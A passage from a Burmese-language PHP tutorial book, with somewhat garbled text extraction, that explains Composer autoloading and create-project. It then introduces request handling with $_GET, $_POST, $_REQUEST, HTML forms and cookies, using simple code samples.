ဂျက်ကို Package အပေနနဲ့ အများအသံုးဖြပုနိုင်Kို့ ပေပးတဲ့အ]ါ ဒီ composer.json Kုိင်က အပေရးကြကီးသွား
တာပါ။  vendor Kုိဒါထဲက  Package  ပေတွကို  ထည့်ပေပးစရာမလိုဘဲ  ဒီ    composer.json     Kုိင်ကို  
ပေပးလုိက်ယုံနဲ့  ရယူအသံုးဖြပုသူက ကိုယ့်ပပေရာဂျက်ရဲ့  Dependency  စာရင်းကို  require Section  မှာ
ကြကည့်ပြပီး သိနိုင်သွားပါပြပီ။ composer install     ကို   Run   ပြပီး လုိအပ်တဲ့   Dependency   ပေတွကို အလွယ်  

တစ်ကူ ရယူနိုင်သွားပါပြပီ။

ထည့်သွင်းထားတဲ့ Package ပေတွကို အသံုးဖြပုလိုရင် vendor Kုိဒါထဲမှာပဲ Composer က ထည့်သွင်းပေပး
ထားတဲ့  autoload.php ရဲ့အကူအညီနဲ့  အသုံးဖြပုနိုင်ပါတယ်။  စမ်းကြကည့်နိုင်K့ုိအတွက်  App.php
အမည်နဲ့ Kုိင်တစ်]ု ပပေရာဂျက်Kိုဒါထဲမှာ တည်ပေဆာက်ပြပီး အ]ုလုိပေရးစမ်းကြကည့်နိုင်ပါတယ်။
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 PHP 

<?php

include('vendor/autoload.php');

use Carbon\Carbon;

echo Carbon::now()->addDay();

ဒီအတိုင်းစမ်းကြကည့်လုိက်ရင်  လက်ရှရိက်စွဲအ]ျနိ်မှာ  (၁)  ရက်ပေပါင်းထားပေပးတဲ့  ရက်စွဲအ]ျနိ်ကို  ရရှိမှာပဲ
ဖြKစ်ပါတယ်။ ပြပီး]ဲ့တဲ့အ]န်းမှာ ကြကည့်]ဲ့တဲ့  Class Autoload  ရဲ့ သပေဘာသဘာဝအတိုင်းပဲ  Carbon Class
ကို  use Statement  နဲ့  သံုးပေပးလုိက်K့ုိပဲ  လုိပါတယ်။  ကိုယ့်ဘာသာ  Include  လုပ်စရာမလုိပါဘူး။
Composer က autoload.php ထဲမှာ အလုိအပေလ�ာက် Include လုပ်ပေအာင် ထည့်ပေရးပေပးထားပြပီး ဖြKစ်
ပါတယ်။

ဒီ autoload.php ကို ကိုယ့်ကုဒ်ပေတွအတွက်လည်း အသံုးဖြပုနိုင်ပါတယ်။ စမ်းကြကည့်နိုင်K့ုိအတွက် App
အမည်နဲ့ Kုိဒါတစ်]ု ပေဆာက်လုိက်ပါ။ App အတွင်းထဲမှာ Library အမည်နဲ့ ပေနာက်ထပ် Kုိဒါတစ်]ု ထပ်
ပေဆာက်လုိက်ပါ။  ပြပီးရင်  Math.php အမည်နဲ့  ကုဒ်Kုိင်တစ်]ုကို  Library ထဲမှာ ပေရးပေပးလုိက်ပါ။  ဒါ
ပေကြကာင့် Kုိင်  Path  လမ်းပေကြကာင်း အဖြပည့်အစုံက App\Library\Math.php ဖြKစ်ရပါမယ်။ ပေရးရမယ့်
ကုဒ်က ဒီလုိပါ –

 PHP 

<?php

namespace App\Library;

class Math
{

static function add($a, $b)
{

echo $a + $b;
}

}
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PSR-4  သတ်မှတ်]ျက်နဲ့အညီ  Kုိဒါလမ်းပေကြကာင်းအတိုင်း  Namespace  ပေပးထားတာကို  သတိဖြပုပါ။  ပြပီး
ပေတာ့ Class အမည်ကိုလည်း Kုိင်အမည်နဲ့ တူပေအာင်ပေပးထားပါတယ်။ ပြပီးတဲ့အ]ါ composer.json မှာ
autoload လ့ုိပေ]ါ်တဲ့ Section တစ်]ုထပ်ထည့်ပေပးရပါမယ်။ ဒီလိုပါ –

 JSON – composer.json 

{
    "name": "fairway/app",
    "authors": [
        {
            "name": "Ei Maung",
            "email": "eimg@fairwayweb.com"
        }
    ],
    "require": {
        "nesbot/carbon": "^2.43"
    },
    "autoload": {
        "psr-4": {
            "App\\": "App/"
        }
    }
}

autoload ရဲ့  psr-4 မှာ  Namespace  App ဆိရုင်  အလုပ်လုပ်ရမယ့် Kုိဒါက  App  KုိဒါဖြKစ်ပေကြကာင်း
ပေဖြပာပေပးလုိက်တာပါ။ ဒီလုိပေဖြပာပေပးလုိက်တဲ့အတွက် Composer   က   Namespace   App     နဲ့စတဲ့    Class   Kုိင်  
ပေတွကို   App   Kုိဒါထဲမှာ သွားရှာပေတာ့မှာပါ  ။

ပေနာက်တစ်ဆင့်အပေနနဲ့  composer dump-autoload Command  ကို  Run  ပေပးK့ုိလုိပါတယ်။  ဒီ
ပေတာ့မှ  conposer.json မှာ  ဖြKည့်စွက်ပေရးသားလုိက်တဲ့  autoload လုပ်ပေဆာင်]ျက်ပေတွက
အသက်ဝင်မှာပါ။

composer dump-autoload

composer.json မှာ  autoload Section ထည့်ပြပီးပြပီ၊  dump-autoload လည်း Run ပြပီးပြပီဆိုရင်
စတင်အသံုးဖြပုနိုင်ပါပြပီ။ ပေရးလက်စ index.php မှာ အ]ုလုိပေဖြပာင်းပေရးပြပီး စမ်းကြကည့်နိုင်ပါတယ်။
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 PHP 

<?php

include('vendor/autoload.php');

use Carbon\Carbon;
use App\Library\Math;

echo Carbon::now()->addDay();
echo Math::add(1, 2); // 3

App\Library\Math ကို  use နဲ့သံုးပေပးလိုက်တာနဲ့  autoload က Class  Kုိင်ကို အလုိအပေလ�ာက်
Include လုပ်ပေပးသွားမှာဖြKစ်လ့ုိ ကိုယ်ဘာသာ Include လုပ်စရာမလုိဘဲ အသုံးဖြပုလ့ုိရရှိသွားပါပြပီ။

ဒီနည်းနဲ့  Class Autoload လုပ်ပေဆာင်]ျက်ရပေအာင် ကိုယ်တိုင်ပေရးသားလ့ုိရသလုိ၊ Composer ကပေရးပေပး
ထားတာကိုသံုးလို့လည်း ရနိုင်ဖြ]င်းဖြKစ်ပါတယ်။

ပေနာက်ထပ်တစ်]ုအပေနနဲ့  composer  create-project ကို  မှတ်သားသင့်ပါတယ်။  create-
project ကလည်း  လုိ]ျင်တဲ့  Package  ကို  Download  လုပ်ရယူတာပါပဲ။  ကွာသွားတာကပေတာ့
require နဲ့  Download  ရယူရင်  ရလာတဲ့  Package  ကို  vendor Kုိဒါထဲမှာ  ထည့်ပေပးပါတယ်။
create-project နဲ့  Download    ရယူရင်ပေတာ့    Package    ကို  အသံုးဖြပုပြပီး  ပပေရာဂျက်Kုိဒါ  အသစ်  
တည်ပေဆာက်ပေပးပြပီး   Package   Kုိင်ပေတွကို အ့ဲဒီပပေရာဂျက်Kုိဒါသစ်ထဲမှာ ကူးထည့်ပေပးပါတယ်  ။

နှစ်မျ ို းနှိုင်းယှဉ်ပြပီး စမ်းကြကည့်နိုင်ပါတယ်။ လက်ရှိစမ်းလက်စ ပပေရာဂျက်Kုိဒါထဲမှာ အ]ုလုိ Run ကြကည့်ပါ။

composer require laravel/laravel

ဒါဆိုရင် Laravel Framework ကို Download ရယူပြပီး vendor Kုိဒါထဲမှာ ထည့်ပေပးသွားမှာပါ။ ပြပီးတဲ့အ]ါ
အ]ုလုိ စမ်းကြကည့်ပါ။

composer create-project laravel/laravel project
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composer create-project ပေနာက်ကပေန  Download  ရယူလုိတဲ့  Package  နဲ့ တည်ပေဆာက်လို
တဲ့  ပပေရာဂျက်Kုိဒါအမည်  ပေပးလိုက်တာပါ။  နမူနာအရ  project အမည်နဲ့  Kုိဒါအသစ်တစ်]ု
တည်ပေဆာက်ပြပီး Laravel Framework ကုဒ်ပေတွကို အ့ဲဒီKုိဒါထဲမှာ ထည့်ပေပးသွားတာကို ပေတွ့ ရမှာပဲ ဖြKစ်ပါ
တယ်။ 

require နဲ့ထည့်သွင်းလုိက်လ့ုိ  ဝင်ပေရာက်သွားတဲ့  vendor/laravel/laravel Kုိဒါထဲက  ကုဒ်
ပေတွနဲ့  create-project နဲ့ တည်ပေဆာက်လုိက်လို့ ရရှိသွားတဲ့  project Kုိဒါထဲကကုဒ်ပေတွ အများ
အားဖြKင့် အတူတူပဲဆိုတာကို ပေတွ့ ရနိုင်ပါတယ်။ ဒီနည်းနဲ့ Composer ကိုအသံုးဖြပုပြပီး Package ပေတွ ရယူ
ယံုသာမက၊ လုိ]ျင်တဲ့ Package ကိုကူးယူပြပီးပေတာ့လည်း ပပေရာဂျက်အသစ်ပေတွ တည်ပေဆာက်နိုင်ပါတယ်။
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အခန်း (၁၂) – Requests, Cookies & Sessions

ဟိုးအစပုိင်းမှာ  PHP  ရဲ့  Server-side  နည်းပညာသပေဘာသဘာဝကို  ပေKာ်ဖြပ]ဲ့ပြပီးဖြKစ်ပါတယ်။  PHP  ဟာ
Web Server  နဲ့ပူးပေပါင်းပြပီး  Client  ပေပးပ့ုိတဲ့  Request  ပေတွကို လက်]ံရရှိ]ျနိ်မှာ အလုပ်လုပ်တာပါ။ ဒီလုိ
အလုပ်လုပ်တဲ့အ]ါ Request နဲ့ အတူပါဝင်လာတဲ့ Request Data ပေတွကို လက်]ံ စီမံနိုင်K့ုိဟာ အပေရးကြကီး
တဲ့  လုိအပ်]ျက်  ဖြKစ်ပါတယ်။  အဖြ]ားပေသာ  Programming  Language  ပေတွမှာ  ဒီလုိ  Request  ပေတွကို
လက်]ံစီမံK့ုိအတွက် သီးဖြ]ား Library ပေတွ Module ပေတွ Framework ပေတွ ထပ်မံထည့်သွင်းပြပီး အသံုးဖြပု
ရတာမျ ို း ဖြKစ်နိုင်ပါတယ်။ PHP ရဲ့ ထူးဖြ]ား]ျက်ကပေတာ့ တစ်ဖြ]ားဘာမှ ထပ်ထည့်စရာမလုိဘဲ Language
ကိုယ်တိုင်က    Request    ပေတွကို  လက်]ံစီမံနိုင်ဖြ]င်းပဲ  ဖြKစ်ပါတယ်  ။  ဒီအ]န်းမှာ  PHP  ကို  အသံုးဖြပုပြပီး
Request Data ပေတွ လက်]ံစီမံနိုင်ပံုကို ပေKာ်ဖြပသွားမှာ ဖြKစ်ပါတယ်။

Web  Application  ပေတွမှာ  Request  Data  ပေတဟွာ  ပံုစံနှစ်မျ ို းနဲ့  လာပေလ့ရှိပါတယ်။  ပထမတစ်မျ ို း
ကပေတာ့ URL Query ပါ။ ဥပမာ ဒီလိပ်စာကို ပေလ့လာကြကည့်ပါ။

https://www.google.com/search?q=  php  &hl=my  

ဒါဟာအမှန်တစ်ကယ် အသံုးဖြပုလ့ုိရတဲ့ လိပ်စာပါ။ ဒီလိပ်စာမှာ အပေရးကြကီးတာက ? သပေက�တပေလးနဲ့အတူ
ပေနာက်ကပေနပူးတွဲပါဝင်လာတဲ့  အ]ျက်အလက်များဖြKစ်ပါတယ်။ ပေသ]ျာပေလ့လာကြကည့်ပါ။  ? သပေက�ပေလး
ပေနာက်မှာ  ပူးတွဲပါဝင်ပေနတဲ့  တန်Kုိးနှစ်]ု  ရိှပါတယ်။  q=php နဲ့  hl=my တို့ပါ။  ဒီတန်Kိုးနှစ်]ုကို  &
သပေက�တပေလးနဲ့ တွဲဆက်ပြပီးပေပးထားဖြ]င်း ဖြKစ်ပါတယ်။

https://www.google.com/search?q=php&hl=my
https://www.google.com/search?q=php&hl=my
https://www.google.com/search?q=php&hl=my
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နမူနာလိပ်စာက Google Search ကိုညွှန်းထားတဲ့လိပ်စာဖြKစ်လ့ုိ Browser URL Bar မှာရိုက်ထည့်လုိက်တဲ့
အ]ါ  Google Server  ရဲ့  Search  လုပ်ပေဆာင်]ျက်တည်ရှိရာကို ပေရာက်ရှိသွားမှာပါ။ ဒီလုိပေရာက်ရှိသွားတဲ့
အ]ါ Google Server က ပါဝင်လာတဲ့ q=php ဆိုတဲ့တန်Kုိးနဲ့ hl=my ဆိုတဲ့တန်Kုိးနှစ်]ုတို့ကို လက်]ံရရှိ
သွားမှာပါ။ ဒါပေကြကာင့် ဖြမန်မာဘာသာနဲ့  ပေKာ်ဖြပထားတဲ့  php အတွက်  Search Result  ကို ဖြပန်လည်ပေပးပို့
လုိက်မှာပဲ ဖြKစ်ပါတယ်။ လက်ပေတွ့ စမ်းသပ်ကြကည့်နိုင်ပါတယ်။

Google Server က URL အတွင်းမှာ ပါဝင်လာတဲ့ URL Query တန်Kုိးပေတွကို လက်]ံအလုပ်လုပ်နိုင်သလုိပဲ
PHP ကလည်း လက်]ံအလုပ်လုပ်နိုင်ပါတယ်။ အလွန်လွယ်ကူပြပီး ရိုးရှင်းတဲ့နည်းလမ်းပေလးတစ်]ုနဲ့ လက်]ံ
အလုပ်လုပ်မှာပါ။

PHP မှာ $_GET လ့ုိပေ]ါ်တဲ့ Superglobal Variable တစ်]ုရှိပါတယ်။ PHP က ကြကိုတင်ပေကြကညာပေပးထား
တဲ့  Variable  ပါ။  ဒါပေကြကာင့်  ကိုယ့်ဘာသာ ပေကြကညာစရာမလုိပါဘူး။  အ့ဲဒီ  Variable  ထဲမှာ  URL Query
အပေနနဲ့  ပါဝင်လာတဲ့  တန်Kုိးပေတွကို  Associate  Array  အပေနနဲ့  ထည့်သွင်းပေပးထားမှာ  ဖြKစ်ပါတယ်။  ဒါ
ပေကြကာင့် get.php ဆိုတဲ့အမည်နဲ့ Kုိင်တစ်]ုထဲမှာ အ]ုလုိပေရးပြပီး Document Root KုိဒါဖြKစ်တဲ့  htdocs
ထဲမှာ သိမ်းလုိက်ပါ။

 PHP 

<?php

print_r( $_GET );

ပြပီးတဲ့အ]ါ  localhost/get.php လ့ုိ  Browser  မှာရိုက်ထည့်ပြပီး  စမ်းကြကည့်လုိက်ရင်  ဘာတန်Kုိးမှ  မရှတိဲ့
Array အလွတ်တစ်]ုကို ဖြပန်ရတာ ပေတွ့ရမှာပဲ ဖြKစ်ပါတယ်။ သတိဖြပုပါ။ Error မဖြKစ်ပါဘူး။ Variable သာ
မရှိရင် မရှိပေကြကာင်း Error တက်မှာပါ။ အ]ုက Variable ရိှပေနလ့ုိ Error မတက်ပါဘူး။ URL Query တန်Kုိး
ပေတွ မရှိပေသးလ့ုိသာ ဘာတန်Kိုးမှ မရှိပေသးတဲ့  Array အလွတ်တစ်]ု ဖြKစ်ပေနတာပါ။ ဒါပေကြကာင့် အ]ုလုိ ထပ်
ပြပီးပေတာ့ စမ်းကြကည့်လိုက်ပါ။

localhost/get.php?name=Alice&age=22
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ဒါဆိုရင်ပေတာ့ အ]ုလုိရလဒ်ကို ဖြပန်လည်ရရှတိာကို ပေတွ့ရမှာပဲ ဖြKစ်ပါတယ်။

Array ( [name] => Alice [age] => 22 )

URL Query  အပေနနဲ့ပါဝင်လာတဲ့တန်Kုိးပေတွဟာ  $_GET Variable  ထဲမှာ ပေရာက်ရှိပေနတာကို ပေတွ့ဖြမင်ရ
ဖြ]င်းပဲဖြKစ်ပါတယ်။  ဒါဟာ  ကြကည့်လုိက်ရင်  ဘာမှမဟုတ်သလုိနဲ့  ပေတာ်ပေတာ်ပေလး  အပေရးပါတဲ့
လုပ်ပေဆာင်]ျက် တစ်]ုပါ။ 

ဒီလို  URL Query  တန်Kုိးပေတွ  အသင့်သုံးလ့ုိရနိုင်K့ုိအတွက်  URL  ကို  Parse  လုပ်ရပါတယ်။  Parse  လုပ်
တယ်ဆိုတာ အပုိင်းလိုက်ဖြKတ်ပေတာက်ပြပီး  လုိ]ျင်တဲ့တန်Kုိးကို  ထုတ်ယူတဲ့သပေဘာပါ။  ပြပီးတဲ့အ]ါ  တန်Kုိး
ပေတွကို Decode လုပ်ရပါတယ်။ URL Query တန်Kုိးပေတွမှာ Space ပေတွ Special Character ပေတွပါလ့ုိမရ
ပါဘူး။ ပါလာ]ဲ့ရင်  Browser  က သင်ပေတာ်တဲ့  သပေက�တပေတွနဲ့  Encode  လုပ်ပြပီး ပ့ုိလိုက်မှာပါ။ ဥပမာ  -
Space ဆိုရင် %20 သပေက�တနဲ့  Encode လုပ်ပေပးပါတယ်။ ဒီလုိ Encode လုပ်ထားတဲ့တန်Kုိးပေတွကို မူလ
တန်Kုိးအမှန် ဖြပန်ဖြKစ်Kုိ့အတွက် Decode လုပ်ရတာပါ။ ပြပီးတဲ့အ]ါ String Format ဖြKစ်ပေနတဲ့တန်Kိုးပေတွကို
Array ဖြKစ်သွားပေအာင် ပေဖြပာင်းပေပးရပါတယ်။ ဒီအလုပ်ပေတွအကုန်လုံးကို   PHP   က လုပ်ပေပးသွားလို့   ကိုယ်က
သိစရာ၊ ထိစရာ မလုိပေတာ့ဘဲ၊  URL Query တန်Kုိးကိုလုိ]ျင်ရင် $_GET Variable ထဲကပေန အသင့်ယူသံုး
လ့ုိ ရသွားဖြ]င်းပဲဖြKစ်ပါတယ်။

PHP  မှာ  $_GET လုိမျ ို း  တစ်ဖြ]ား  Superglobal  Variable  ပေတရွှိကြကပါပေသးတယ်။ ဆက်လက်ပေKာ်ဖြပပါ
မယ်။ ဒီ Superglobal Variable ပေတရွဲ့ ထူးဖြ]ား]ျက်ကပေတာ့ လုိအပ်တဲ့ပေနရာမှ တိုက်ရိုက်အသုံးဖြပုနိုင်ဖြ]င်း
ဖြKစ်ပါတယ်။  Function  နဲ့  Variable  Scope  အပေကြကာင်းပေဖြပာတုံးက မှတ်မိပါလိမ့်မယ်။  Function  ပေတွ
အတွင်းမှာ  Global Variable  ပေတွကို  အသုံးဖြပုလုိရင်  global Statement  နဲ့  အသံုးဖြပုလိုပေကြကာင်း ကြကို
ပေဖြပာပြပီးမှ  သံုးရပါတယ်။  Superglobal  Variable    ပေတွကို   အသံုးဖြပုK့ုိအတွက်  အ့ဲဒီလုိကြကိုပေဖြပာစရာမလုိပါ
ဘူး။ ကြကိုက်တဲ့ပေနရာမှာ တိုက်ရိုက်အသံုးဖြပုလ့ုိရနိုင်မှာပဲ ဖြKစ်ပါတယ်။

ပေစာပေစာက  Request  Data  ပေတဟွာ ပံုစံနှစ်မျ ို းနဲ့  လာတယ်လ့ုိ  ပေဖြပာ]ဲ့ပါတယ်။  ပထမတစ်မျ ို းက  URL
Query ပါ။ ပေနာက်တစ်မျ ို းကပေတာ့ Form Data ဖြKစ်ပါတယ်။ HTML Form တစ်]ုကပေန ပေပးပ့ုိလာတဲ့ Data
ပေတွကိုလည်း လက်]ံအလုပ်လုပ်ပေပးနိုင်တယ်လ့ုိ ပေဖြပာတာပါ။
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ဒီပေနရာရာမှာ လုိအပ်လာတဲ့အတွက် HTML Form အပေကြကာင်းကို ထည့်သွင်းပေလ့လာကြကပါမယ်။ ကုဒ်နမူနာ
ပေရးစမ်းK့ုိအတွက်  form အမည်နဲ့  ပပေရာဂျက်Kိုဒါတစ်]ုကို  htdocs ပေအာက်မှာ တည်ပေဆာက်လုိက်ပါ။
ပြပီးရင် index.php နဲ့ request.php ဆိုတဲ့ Kုိင်နှစ်]ုတည်ပေဆာက်ပြပီး index.php ထဲမှာ ဒီကုဒ်ကို
ပေရးပေပးပါ။

 PHP 

<!DOCTYPE html>
<html lang="en">
<head>
    <title>PHP Request</title>
</head>
<body>
    <h1>PHP Request</h1>
    <form action="request.php" method="get">
        <input type="text" name="name" placeholder="Name"><br>
        <input type="text" name="age" placeholder="Age"><br>

        <button type="submit">Send Data</button>
    </form>
</body>
</html>

ဒီနမူနာမှာ PHP ကုဒ်ပေတွ မပါပါဘူး။ ရိုးရိုး  HTML Form တစ်]ုသာဖြKစ်ပါတယ်။ ဒီ Form ရဲ့အလုပ်လုပ်ပံု
ကို  ပေသ]ျာပေလ့လာပါ။  <form> Element  မှာ  Attribute  နှစ်]ရုှိပါတယ်။  action Attribute  မှာ  ဒီ
Form ကပေပးပ့ုိတဲ့  Data ပေတွကို လက်]ံအလုပ်လုပ်မယ့် ကုဒ်Kုိင်ရဲ့ တည်ပေနရာကို ပေပးရတာပါ။ method
Attribute  မှာပေတာ့  HTTP Request  ပေတွထဲက  get သ့ုိမဟုတ်  post ဆိုတဲ့ နှစ်]ုထဲက အသံုးဖြပုလုိတဲ့
တစ်]ုကို ပေပးရတာပါ။ နမူနာမှာ get လ့ုိပေပးထားပါတယ်။ တစ်ကယ်ပေတာ့ Default Method က get ပါ။
ဒါပေကြကာင့်  method   Attribute    မပေပးရင်လည်း    method     ရဲ့တန်Kုိးက    get     ပဲဖြKစ်မှာပါပဲ  ။  ပေပးရမှန်းသိ
ပေအာင် သာထည့်ပေရးပေပးလိုက်တာပါ။

Form အတွင်းထဲမှာ User က ရိုက်ထည့်လ့ုိရတဲ့၊ ပေရးွ]ျယ်လ့ုိရတဲ့ Input ပေတွရှိပါတယ်။ Data ကိုလက်]ံလုိ
တဲ့  Input    တိုင်းမှာ    name   Attribute    ပါရပါတယ်  ။ မပါရင် အ့ဲဒီ  Input  က  Data  ကို  ထည့်သွင်းလက်]ံ
အလုပ်လုပ်မှာ မဟုတ်ပါဘူး။
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Data  ပေတွပ့ုိပေပးတဲ့  Button  တစ်]ုကိုလည်း  ထည့်ပေပးထားတာကို  ပေတွ့ရနိုင်ပါတယ်။  နှစ်မျ ို းပေရးလ့ုိရပါ
တယ်။ <button type="submit"></button> သ့ုိမဟုတ် <input type="submit"> ဖြKစ်
ပါတယ်။ နမူနာမှာ တစ်ဖြ]ား  Input  ပေတွနဲ့ကွဲဖြပားသွားပေအာင် <input type="submit"> ကို မသံုး
ဘဲ  <button type="submit"></button> ကို အသံုးဖြပုထားပါတယ်။ ဒီ  Button  ကို နှိပ်လိုက်
ရင် Input ပေတွမှာ ပေရွး]ျယ် ဖြKည့်သွင်းထားတဲ့ Data ပေတွကို action မှာ သတ်မှတ်ထားတဲ့ ကုဒ်Kုိင်ထံ ပုိ့
ပေပးလုိက်မှာ ဖြKစ်ပါတယ်။

အ့ဲဒီလုိ  ပ့ုိပေပးတဲ့အလုပ်ကိုလုပ်K့ုိ  ကိုယ့်ဘက်က  ဘာမှပေရးပေပးစရာမလုိပါဘူး။  Web  Browser  က  သ့ူ
ဘာသာ  လုပ်ပေပးသွားမှာပါ။  ကိုယ်ဘက်က  ပေပးပ့ုိလာတဲ့  Data  ပေတွကို  လက်]ံK့ုိပဲလိုပါတယ်။  အ့ဲဒီလို
လက်]ံတဲ့အလုပ်အတွက်လည်း ဘာမှပေရးပေပးစရာမလုိပါဘူး။ PHP က အဆင်သင့်လက်]ံထားပေပးမှာ ဖြKစ်
ပါတယ်။

စမ်းကြကည့်နိုင်Kို့အတွက် request.php မှာ အ]ုလုိကုဒ်ပေလးပေရးလုိက်ပါ။

 PHP 

<?php

print_r( $_GET );

စမ်းကြကည့်လ့ုိရပါပြပီ။  Browser URL Bar  မှာ  localhost/form လ့ုိ ရိုက်ထည့်လိုက်တဲ့အ]ါ  form Kုိဒါထဲက
index.php အလုပ်လုပ်သွားလ့ုိ အ]ုလိုရလဒ်ကို ပေတွဖြမင်ရပါလိမ့်မယ်။
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သတ်မှတ်ထားတဲ့အတိုင်း Name နဲ့ Age ပေရးဖြKည့်လို့ရတဲ့ Form တစ်]ုကိုပေတွ့ဖြမင်ပေနရတာပါ။ နှစ်သက်ရာ
တန်Kုိးပေတွ ဖြKည့်သွင်းပြပီး  Send Data ]လုပ်ကို  နှိပ်ကြကည့်နိုင်ပါတယ်။ အ့ဲဒီလုိ နှိပ်လုိက်တဲ့အ]ါ  Form  ရဲ့
action Attribute မှာပေပးထားတဲ့  request.php ကို ပေရာကရ်ှိသွားပြပီး အ]ုလုိရလဒ်ကို ပေတွ့ဖြမင်ရမှာ
ပဲ ဖြKစ်ပါတယ်။

ဒီပေနရာမှာ သတိဖြပုပါ။  request.php ကိပုေရာက်ရှိလာတဲ့အ]ါ  ပေရးဖြKည့်လိုက်တဲ့  တန်Kုိးပေတွ ပါဝင်တဲ့
URL Query   တစ်]ု အလုိအပေလ�ာက် ပါဝင်သွားတာကို   ပေတွ့ရမှာပဲဖြKစ်ပါတယ်။ ပေစာပေစာကပဲ ကြကည့်]ဲ့ပြပီးပါ
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ပြပီ။ URL Query မှာပါဝင်လာတဲ့တန်Kုိးပေတွဟာ $_GET Superglobal Variable ထဲမှာ အသင့်ရှိပေနမှာဖြKစ်
လ့ုိ  ရိုက်ထုတ်ပေKာ်ဖြပထားတဲ့ပေနရာမှာလည်း  Form  ကပေပးလုိက်တဲ့  တန်Kုိးပေတွကို  Array  တစ်]ုအပေနနဲ့
ရရိှပေနတာကို ပေတွ့ဖြမင်ရမှာပဲ ဖြKစ်ပါတယ်။

ဒီနည်းနဲ့ PHP က HTML Form ကပေနတစ်ဆင့် ပေပးပ့ုိလာတဲ့ Data ပေတွကို လက်]ံစီမံလ့ုိ ရသွားမှာပဲ ဖြKစ်ပါ
တယ်။ ဒီလိုစီမံတဲ့အ]ါ HTML Form မှာ Method နှစ်မျ ို းရှိသလုိပဲ၊ PHP မှာလည်း Superglobal နှစ်မျ ို း ရိှ
ပါတယ်။ $_GET နဲ့ $_POST ဖြKစ်ပါတယ်။ စမ်းကြကည့်နိုင်Kို့အတွက် HTML Form မှာ အ]ုလုိဖြပင်ပေပးလုိက်
ပါ။

<form action="request.php" method="post">
… 

</form>

ဒီလိုပေဖြပာင်းပြပီးစမ်းကြကည့်ရင် အလုပ်လုပ်မှာ မဟုတ်ပေတာ့ပါဘူး။ ဘာပေကြကာင့်လဲဆိုပေတာ့ Form ကအသုံးဖြပု
တဲ့  Request Method  က post ဖြKစ်သွားပေပမယ့် တစ်ဘက်မှာစမ်းသပ်အသံုးဖြပုပေနတာက $_GET ဖြKစ်
ပေနလ့ုိပါ။ ဒါပေကြကာင့် request.php မှာလည်း အ]ုလုိ ဖြပင်ပေပးလုိက်K့ုိ လုိပါတယ်။

 PHP 

<?php

print_r( $_POST );

ဒီတစ်]ါစမ်းကြကည့်လုိက်ရင်ပေတာ့  အဆင်ပေဖြပသွားတာကို  ပေတွ့ရမှာပဲ  ဖြKစ်ပါတယ်။  ဒါပေကြကာင့်  Form
method နဲ့ကိုက်ညီတဲ့  သင့်ပေတာရ်ာ  Variable  ကို  အသံုးဖြပုပေပးရတယ်ဆိုတာကို  သတိဖြပုပါ။  ပြပီးပေတာ့
Form Method က post ဆိုရင် ပေစာပေစာကလုိ URL Query အပေနနဲ့ ထည့်သွင်းပေပးဖြ]င်း မဖြပုပေတာ့တာကို
လည်း သတိဖြပုပါ။ အပေဖြ]]ံအားဖြKင့် အ]ျက်အလက်ပေတွ ရယူယံု သက်သက်ဆိုရင်  get ကို  အသံုးဖြပုကြက
ပြပီး၊  Server  က အ]ျက်အလက်ပေတွ  ပေဖြပာင်းလဲပေစ]ျင်ရင်  post ကိုသံုးရတာပါ။  ပေနာက်ထပ်  Request
Data  ပေတွလက်]ံပေပးထားတဲ့  Superglobal  တစ်]ုလည်း ရှိပါပေသးတယ်။  $_REQUEST လ့ုိပေ]ါ်ပါတယ်။
request.php မှာ အ]ုလုိဖြပင်ပြပီး စမ်းကြကည့်ရင်လည်း အလုပ်လုပ်တယ်ဆိုတာကို ပေတွ့ ရနိုင်ပါတယ်။



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၁၂) – Requests, Cookies & Sessions 172

 PHP 

<?php

print_r( $_REQUEST );

ဒီ $_REQUEST Superglobal ရဲ့ထားဖြ]ား]ျက်ကပေတာ့ တစ်ဘက်ကလာတဲ့ Method ဘာပဲဖြKစ်ဖြKစ် Data
ပေတွကို လက်]ံပေပးထားဖြ]င်းပဲဖြKစ်ပါတယ်။ ဒါပေကြကာင့်  Method get နဲ့ အလုပ်လုပ်သလုိ Method post
နဲ့လည်း  အလုပ်လုပ်မှာ  ဖြKစ်ပါတယ်။  အ]ု  Form  Data  ပေတွ  Request  ပေတွလက်]ံပံုနဲ့ပက်သက်ပြပီး  ဒီ
ပေလာက်ပဲ မှတ်ထားပါဦး။ ]ဏပေနမှ ဒီဗဟုသုတကို အသံုး]ျပြပီး နည်းနည်းပုိစိတ်ဝင်စားK့ုိပေကာင်းတဲ့ နမူနာ
ပေလး လုပ်ကြကည့်ကြကပါမယ်။ အ့ဲဒီနမူနာပေလးမလုပ်]င် ကြကိုသိထားသင့်တဲ့  Cookie  နဲ့  Session  လ့ုိပေ]ါ်တဲ့
Web နည်းပညာ သပေဘာသဘာဝပေလးပေတွအပေကြကာင်းကို ပေဖြပာပါဦးမယ်။

Cookies
Web  နည်းပညာမှာ  Cookie  လ့ုိပေ]ါ်တဲ့  သပေဘာသဘာဝတစ်]ုရှိပါတယ်။  အမည်ကထူးဆန်းပေနပေပမယ့်
တစ်ကယ်ပေတာ့  Web Browser  နဲ့အတူ တစ်]ျ ို ့အ]ျက်အလက်ပေလးပေတွ  ပူးတွဲသိမ်းဆည်းလ့ုိရတဲ့  နည်း
ပညာ ဖြKစ်ပါတယ်။ JavaScript ကိုအသံုးဖြပုပြပီး အ]ုလုိ Cookie Data ပေတွ သိမ်းလ့ုိရပါတယ်။

 HTML & JavaScript 

<script>
    document.cookie = "name=Alice";
    document.cookie = "theme=dark";
</script>

ဒါဟာ  name=Alice နဲ့  theme=dark လ့ုိပေ]ါ်တဲ့  တန်Kုိးနှစ်]ုကို  Cookie  ထဲမှာ  သိမ်းလုိက်တာပါ။
Cookie ရဲ့ထူးဖြ]ား]ျက်ကပေတာ့ အ့ဲဒီလုိ သိမ်းထားတဲ့   Cookie Data   ပေတွကို   Request   ပေပးပ့ုိလုိက်တိုင်းမှာ  
အလုိအပေလ�ာက် ထည့်သွင်းပေပးပ့ုိဖြ]င်းပဲ ဖြKစ်ပါတယ်။ ဒါပေကြကာင့် ]ဏ]ဏ ပ့ုိရမယ့် အ]ျက်အလက်ပေတွရှိ
ရင်  Cookie  ထဲမှာ  ထည့်ထားလိုက်ဖြ]င်းအားဖြKင့်  ကိုယ့်ဘာသာ  ]ဏ]ဏပ့ုိစရာ  မလုိပေတာ့ဘဲ  Request
လုပ်လုိက်တိုင်း ပါဝင်သွားမှာပဲဖြKစ်ပါတယ်။

